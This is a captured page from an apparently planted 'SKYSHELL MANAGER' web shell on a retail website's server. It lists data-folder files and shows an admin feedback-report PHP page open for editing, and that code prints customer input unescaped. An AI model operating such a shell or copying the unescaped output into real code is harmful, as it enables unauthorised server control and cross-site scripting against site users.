📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
4649.31 KB
0644
🗑️
⬇️
✏️
🔒
Editing: feedbacks.php
<?php include "admin_header.php"; ?> <!-- Begin Page Content --> <div class="container-fluid"> <!-- Page Heading --> <h1 class="h5 mb-4 text-gray-800">Feedback Reports</h1> <div class="table-responsive"> <table class="table table-bordered" id="dataTable" width='100%' border="0" style="color:black; font-size:13px; font-weight:500;" cellspacing='10' data-toggle='bootgrid'> <thead><tr bgcolor="#FF339A" style="color:white;"> <th data-column-id='employee_name'>Products</th> <th data-column-id='employee_name'>Staff Attitude</th> <th data-column-id='employee_salary'>Store Ambience</th> <th data-column-id='employee_salary'>Prices</th> <th data-column-id='employee_salary'>LikelihoodToRecommendProduct</th> <th data-column-id='employee_salary'>SatisfactionWithTimeliness</th> <th data-column-id='employee_salary'>HowToImproveExperience</th> <th data-column-id='employee_salary'>Expectation</th> <th data-column-id='employee_salary'>HowToImproveProduct</th> <th data-column-id='employee_salary'>Date</th> </tr> </thead> <?php $sql = "SELECT * FROM chb_feedback ORDER BY FeedbackID DESC"; $sql2 = mysqli_query($con, $sql); while ($row = mysqli_fetch_array($sql2)) { echo '<tr> <td><div class="badge text-light ' . getRatingBadgeClass($row['RateProducts']) . '" style="font-size: 12px;">' . $row['RateProducts'] . ' of 5</div></td> <td><div class="badge text-light ' . getRatingBadgeClass($row['RateStaffAttitude']) . '" style="font-size: 12px;">' . $row['RateStaffAttitude'] . ' of 5</div></td> <td><div class="badge text-light ' . getRatingBadgeClass($row['RateStoreAmbience']) . '" style="font-size: 12px;">' . $row['RateStoreAmbience'] . ' of 5</div></td> <td><div class="badge text-light ' . getRatingBadgeClass($row['RatePrices']) . '" style="font-size: 12px;">' . $row['RatePrices'] . ' of 5</div></td> <td><div class="badge text-light ' . getRatingBadgeClass($row['LikelihoodToRecommendProduct']) . '" style="font-size: 12px;">' . $row['LikelihoodToRecommendProduct'] . ' of 5</div></td> <td><div class="badge text-light ' . getRatingBadgeClass($row['SatisfactionWithTimeliness']) . '" style="font-size: 12px;">' . $row['SatisfactionWithTimeliness'] . ' of 5</div></td> <td>' . $row['ImproveExperience'] . '</td> <td>' . $row['Expectation'] . '</td> <td>' . $row['ImproveProduct'] . '</td> <td>' .formatDateTime( $row['date']) . '</td> </tr>'; } ?> ?> </table> </div> <!-- /.container-fluid --> </div> <!-- End of Main Content --> <?php include "footer.php"; ?>
💾 Save Changes